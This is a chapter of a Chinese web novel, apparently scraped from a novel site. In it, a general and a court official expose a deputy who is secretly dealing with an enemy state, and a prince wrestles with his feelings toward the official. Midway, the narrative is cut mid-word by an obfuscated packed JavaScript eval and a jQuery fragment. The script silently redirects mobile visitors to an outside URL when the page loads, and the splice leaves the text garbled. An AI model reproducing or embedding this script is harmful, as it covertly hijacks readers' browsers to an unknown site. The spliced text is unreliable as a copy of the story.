47.险胜
作品:《疯批王爷求垂怜》 项光武怒气冲冲回到自己的营帐前的时候,被容泽安的人拦住请了过去。
来到容泽安的营帐,项光武看着里面布置得十分精巧温馨的样子,心中又起了一阵不舒服的感觉,但是想到这毕竟是杨将军的外甥,也算是杨家自己人,项光武把心底里的不舒服压了下去,规规矩矩地行了一个礼。
容泽安侧目瞟了一眼项光武,不紧不慢地开口:“听说那位谢大人找过你了?”
果然,对于这朝廷派来的走狗,大殿下终于是看不过去了。项光武马上开始骂骂咧咧地讲起了方才同他谈话的内容。
“殿下,这朝廷派来的文臣到底是什么都不懂,下官正急着去用晚膳,他却偏偏这时候拦住我的去路,问一些我叫什么,家是哪里人之类的废话,磨磨唧唧的。我看他就是来找茬的,要不要咱们找个机会悄悄地给他点苦头吃?”
“啪!”项光武被突如其来的拍桌子声吓了一跳,眼看着方才还正常的大殿下,这会儿突然满脸阴云,让项光武觉得摸不着头脑。
“谢大人乃是朝廷命官,更何况是带着我父皇的旨意来的,你怎可以这样为难他!”
项光武愣愣地看着容泽安:“可是,殿下,他是要查咱们呐。”
“他要查就查去好了,没有做过的事情难道还怕他查不成?”
“殿下,那他要是什么都没查出来,怕交不了差,来栽赃咱们,可怎么办呐?”
“谢大人乃清正之人,若是无事,他自是会如实向我父皇禀报,断不可能做出栽赃之事。”容泽安想了想还是不放心,又警告了项光武:“我告诉你,不许暗地里搞什么为难人的小动作,若是让我知道了,我定饶不了你,听到了没有?”
项光武心不甘情不愿地答道:“下官明白了,殿下放心,下官一定不会为难谢大人的。”容泽安摆摆手,项光武直接退下了。
走出容泽安的帐篷好远之后,项光武看看周围再没有人了,这才往地上淬了一口,用脚狠狠地碾过:“到底是那狗皇帝的种,竟然向着那走狗说话,呸!”
杨世久的营帐内,久久无声,杨世久做了好一会儿斗争,才缓缓问道:“敢问谢大人,可是查到了项光武通敌的证据?”
“我今日去到安城城内,意外看到项副将军神色很不对劲地在街上匆匆走过,我跟了上去,听到了他与西境国人的对话。”
谢曦昆将今日在安城城内的所见所闻一一告知了杨世久。
“那谢大人可曾见到与项光武交流之人是谁?”
谢曦昆摇摇头:“我只在窗下偷听到了声音,并未见到其人。”
杨世久坐了一会儿之后,骤然起身:“我这就把项光武提来给大人审问。”
谢曦昆拦住了杨世久:“杨将军,不可!”
见到杨世久停下了想要出去的脚步,谢曦昆开始解释道:“此番只有我一人偷听到,没有实证,若是直接问项副将军,他是不会承认的。反正消息他已经送了出去,不如我们趁此机会将计就计。重新制定一个战略,让西境国对项光武的忠诚产生怀疑,到时候他们必然会再起争执,这时候,只要我们抓个正着,就是人赃并获了。”
杨世久想了一会儿,同意了谢曦昆的提议,又与谢曦昆一起,重新商定了新的作战计划。
开战前,项光武照例整顿军心,刚刚喊完话,就看见杨世久过来了。
“将军,您怎么来了?您这之前受的伤还没好利索,这场仗我带领大家去打就行了。”项光武赶紧过来搀扶杨世久,杨世久拍拍项光武的手,笑道。
“我的伤已经不碍事了。这战事总是败多胜少,我这心里不安啊。再说了哪有主将一直安坐后方,只听消息的道理,今日这战啊,我同你一起指挥!”
项光武有些着急,继续劝着杨世久回去,却被杨世久义正言辞的拒绝:“好了,不要再说了,我自己的身体我自己心里有数。今日这战我必须在!”杨世久严厉地看了项光武一眼,强调道:“这是命令!”
话说到这份上,项光武只得闭嘴了。
杨世久看看前面陈列整齐的士兵们,下达命令:“变换队形,用翼型队列作战!”
项光武大惊失色:“不可,将军不可啊!”
“为何不可?”
项光武开始吞吞吐吐地找理由。
“之前进行排演的时候,不是按照翼型队列排的,这贸然变换,怕是不够熟练,耽误了作战,将军,要不我们还是改回之前的独……”
“就按照我说的做!”杨世久斩钉截铁地下了命令:“翼型队列平时不是没练过,战场上千变万幻,如果换一种队形就不行了,那么杨家军该亡!”
话都说到了这份上,项光武再没有什么理由反对,只得领了命令,下去整兵。
这一次有杨世久坐镇,再加上他完全打破了以往的作战方式,这种看起来毫无章法的模式竟然意外地险胜了!
久违的胜利振奋了军心,在军中一片叫好的声音中,杨世久看到项光武在角落里笑得很是勉强。
“光武啊。”听到杨世久突然喊他,项光武赶紧扯了扯嘴角,尽量让自己看起来能更开怀一点。
“这次胜利,你亦有功,回去之后都有赏!”
“将军谬赞了,都是您指挥得力,才能带领我们拿下这胜利。”
“哎,也是你平时操练他们有功,不然今日这般局面怕是应付不下来啊。”杨世久拍拍项光武的肩,“日后还需要继续多练。”
“是!”
看着杨世久领着众人开始收兵回营,项光武的嘴角又耸拉了下来。
杨世久听了谢曦昆的话,开始对项光武的动向上了心,果然这一战后不久,项光武又偷偷摸摸地与西境国之人联系,因为上次杨世久临时变换战术,导致西境最终兵败,西境国大为不满,在经过一番争执之后,以项光武答应给他们一批兵器为条件终于放过了他。
在得到这个消息之后,杨世久开始留心库中的各种兵器,派人重新清点了一下,并派人日夜把守。在与谢曦昆暗中商量完之后,谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263750|163079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曦昆也吩咐了禁卫军留意一下军营中的兵器动向,若有异常马上上报。
从杨世久的营帐中出来,谢曦昆看到容泽安站在营帐几米外,看他的样子似乎是要来找杨将军的。
其实自从那天之后,谢曦昆曾以为容泽安又要像以前一样不管不顾地每天都来欺压他一下,却不想时至今日他都未曾露过面,这样的容泽安倒是让谢曦昆很不适应。
谢曦昆站在那里,思索着这毕竟是在外面,是不是还是不要闹得太难看比较好,然而他刚想同容泽安打个招呼,容泽安就一言不发地扭头走掉了,让他还没来得及说的话卡在了嗓子眼中。
谢曦昆默默地把话咽了回去,不说话正好,还省得他劳心劳力地与他虚与委蛇了。
容泽安来找杨世久是为着项光武一事,近日他的人来报,称项光武此人最近形迹可疑,似乎与西境国人有所往来,容泽安在接到线报之后,赶忙去找杨世久,不想却在营帐外看到了谢曦昆。
容泽安说不清楚自己在看到他的那一刻到底是怎么了,竟然直觉地不想面对他。从前只有他人避讳他的份儿,但是这一次,容泽安竟然生出了一种想逃开的想法。他的脚步比他更快地给出了反应,等他意识回笼的时候,发现自己已经回到了自己的营帐前。
在营帐内又待了两刻钟,确认谢曦昆已经走了,容泽安这才重返了杨世久的营帐。
看到容泽安前来,杨世久很是欢喜。
“阿豹来了,快来坐。”
容泽安沉闷着坐下。
“怎么闷闷不乐的,是谁惹我们阿豹了?”
容泽安有几分无奈:“舅舅,我不是小孩子了。”
“知道你长大了,不过在舅舅这里,你永远都是一个小孩子。现在,告诉舅舅,到底怎么了?”
容泽安想了想还是开了口:“舅舅,谢曦昆来找你是有什么事?”
“原来阿豹是担心舅舅啊,不过你放心,谢大人是个好人。他来,并不是为了害我们的。”
“舅舅,我们身边可能出现了内鬼。”容泽安艰难地说出:“我的人看到项光武跟西境国的人有接触。”
容泽安设想过很多种舅舅的反应,项光武毕竟是他多年的副将,他也许会不相信,也许会伤心,但是出乎容泽安意料的是,杨世久拍拍容泽安的肩:“此事,舅舅已经知晓了。”
“那用不用我去把他绑来拷问一番?”
“此事舅舅早已有安排,你就当什么都不知道就好。”
既然舅舅已经知道了,容泽安就打算离开了,离开前,杨世久突然喊住他。
“阿豹,谢大人不是不明事理之人,你莫要与他发生冲突。”
容泽安不答。
“我听说前些日子,你去找过他还把门口守卫的人都支走了。阿豹,陛下不相信我们这件事跟谢大人本身没有关系。如果你实在不想看到他的话,你们少接触,有什么事跟舅舅说就好了。”
“知道了,舅舅。”容泽安笑笑:“我不会为难他的。”